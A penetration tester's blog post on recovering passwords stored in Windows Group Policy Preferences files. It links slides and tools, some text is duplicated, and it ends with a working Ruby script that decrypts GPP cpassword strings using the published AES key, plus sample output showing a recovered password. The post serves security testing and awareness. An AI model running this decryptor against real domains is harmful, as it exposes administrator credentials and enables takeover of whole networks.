I did a talk at the Oct 20012 NovaHackers meeting on exploiting 2008 Group Policy Preferences (GPP) and how they can be used to set local users and passwords via group policy.
I've run into this on a few tests where people are taking advantage of this exteremely handy feature to set passwords across the whole domain, and then allowing users or attackers the ability to decrypt these passwords and subsequently 0wning everything :-)
So here are the slides:
Exploiting Group Policy Preferences from chrisgates
Blog post explaining the issue in detail:
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
Metasploit post module:
http://metasploit.com/modules/post/windows/gather/credentials/gpp
PowerShell module to do it:
http://obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
I ended up writing some ruby to do it (the blog post has some python) because the metasploit module was downloading the xml file to loot but taking a poop prior to getting to the decode part. now you can do it yourself:
Blog post explaining the issue in detail:
http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
Metasploit post module:
http://metasploit.com/modules/post/windows/gather/credentials/gpp
PowerShell module to do it:
http://obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html
I ended up writing some ruby to do it (the blog post has some python) because the metasploit module was downloading the xml file to loot but taking a poop prior to getting to the decode part. now you can do it yourself:
require 'rubygems'
require 'openssl'
require 'base64'
encrypted_data = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Base64.decode64(epassword)
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
return pass
end
blah = decrypt(encrypted_data)
puts blah
In Action:user@ubuntu:~$ ruby gpp-decrypt-string.rbLocal*P4ssword!
